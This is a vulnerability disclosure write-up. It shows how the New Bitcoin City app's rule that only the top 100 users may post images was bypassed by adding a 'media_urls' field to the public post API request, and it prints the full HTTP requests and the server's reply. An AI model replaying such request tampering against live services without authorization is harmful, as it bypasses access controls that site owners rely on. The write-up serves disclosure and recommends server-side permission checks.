New Bitcoin City bypassing the top 100 restriction to post images
New Bitcoin City SocialFi app allows to make public posts but images can be uploaded only by the top 100 users, at least in theory.
Intro
Since my last post about Wormable Stored Cross-Site Scripting (XSS) in Alpha the app has been renamed to “New Bitcoin City”. A lot of new features and changes have been implemented. Currently it is possible to post publicly similar to Twitter but there’s a limitation that I found out bout after seeing this post from @FreddieRaynolds
Apart from the ASCII art I noticed he mentions a limitation about posting images. If you are not in the top 100 users you are not allowed to do it. I checked and in fact it looks like it.
So I immediately thought if it would be possible to bypass this restriction.
Bug description
Apart from public posts users can post privately in their own circles or send direct messages (DM) to key holders or people they hold the keys of. Posting images is allowed there
And the request looks like this:
POST /api/v1/chat-group/add-message HTTP/2
Host: dgames.gg
Content-Type: application/json
Accept: application/json, text/plain, */*
Authorization: Bearer <REDACTED>
Sec-Fetch-Site: cross-site
Accept-Language: pl-PL,pl;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Origin: https://newbitcoincity.com
Content-Length: 148
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1
Referer: https://newbitcoincity.com/
Sec-Fetch-Dest: empty
{"roomId":"<REDACTED>","content":"{\"type\":\"TEXT\",\"plain\":\"Test\\n\",\"rawText\":\"<p>Test</p>\"}",
"mediaUrls":[],"mentions":[]}
Notice the mediaUrls key. For comparison this is how a public post request looks like:
POST /api/tweet?network=nos&address=0x571124e987F9f6318d24b3BE70260079eA741395 HTTP/2
Host: perp-api.fprotocol.io
Content-Type: application/json
Accept: application/json, text/plain, */*
Authorization: Bearer <REDACTED>
Sec-Fetch-Site: cross-site
Accept-Language: pl-PL,pl;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Origin: https://newbitcoincity.com
Content-Length: 92
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1
Referer: https://newbitcoincity.com/
Sec-Fetch-Dest: empty
{"content":"Test","user_address":"0x571124e987F9f6318d24b3BE70260079eA741395","public":true}
So what would happen if we add mediaUrls to a public post ?
Request:
POST /api/tweet?network=nos&address=0x571124e987F9f6318d24b3BE70260079eA741395 HTTP/2
Host: perp-api.fprotocol.io
Content-Type: application/json
Accept: application/json, text/plain, */*
Authorization: Bearer <REDACTED>
Sec-Fetch-Site: cross-site
Accept-Language: pl-PL,pl;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Origin: https://newbitcoincity.com
Content-Length: 185
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1
Referer: https://newbitcoincity.com/
Sec-Fetch-Dest: empty
{"content":"So you need to be top 100 to post images?","user_address":"0x571124e987F9f6318d24b3BE70260079eA741395","public":true,"media_urls":["https://overflow.pl/various/tajfun.jpg"]}
Response:
HTTP/2 200 OK
Date: Fri, 13 Oct 2023 22:52:35 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: *
Access-Control-Allow-Origin: https://newbitcoincity.com
Access-Control-Expose-Headers: Content-Length
Vary: Origin
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FNfdj17DAO56CyPvSkl17%2FXCTwaUQes2XC9HoXGM0nfkbfc%2FxTE1dDNU114F4i%2BQTfdi8wdy9c0jBlKEB5YDELhjpItLnnc46FzXJxl877ZLzssDsY5e4%2BVfcox7inp%2FV99G%2FqhAr9U%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 815b275abec2c012-WAW
Alt-Svc: h3=":443"; ma=86400
{"result":{"id":126817,"created_at":"2023-10-13T22:52:35.041389239Z","updated_at":"2023-10-13T22:52:35.041389239Z","network":"nos","user":{"id":19105,"network":"nos","address":"0x571124e987F9f6318d24b3BE70260079eA741395","address_checked":"0x571124e987f9f6318d24b3be70260079ea741395","bns":"","avatar":"","twitter_id":"585633925","twitter_username":"h0wlu","twitter_name":"Pawel Wylecial","twitter_avatar":"https://pbs.twimg.com/profile_images/545304225958211584/V-l[...]
We can see request went through successfully and as can be seen in the app the post with an image was posted bypassing the restriction.
Fix
00:56 GMT+2 14 Oct 2023 - reported the issue to New Bitcoin City team
10:27 GMT+2 14 Oct 2023 - the team informed that they plan to disable the restriction soon anyways so the write up can be published
Conclusion
In this case the application lacks proper permissions checks on the server side. Protection is only implemented in the UI where the button to upload pictures is disabled. It is important to always check permissions on the backend to verify if a user is authorized to perform certain actions. In addition it is also recommended to disallow arbitrary sources for image files, only New Bitcoin City hosted files and explicitly allowed external domains (e.g. for GIFs) should be allowed.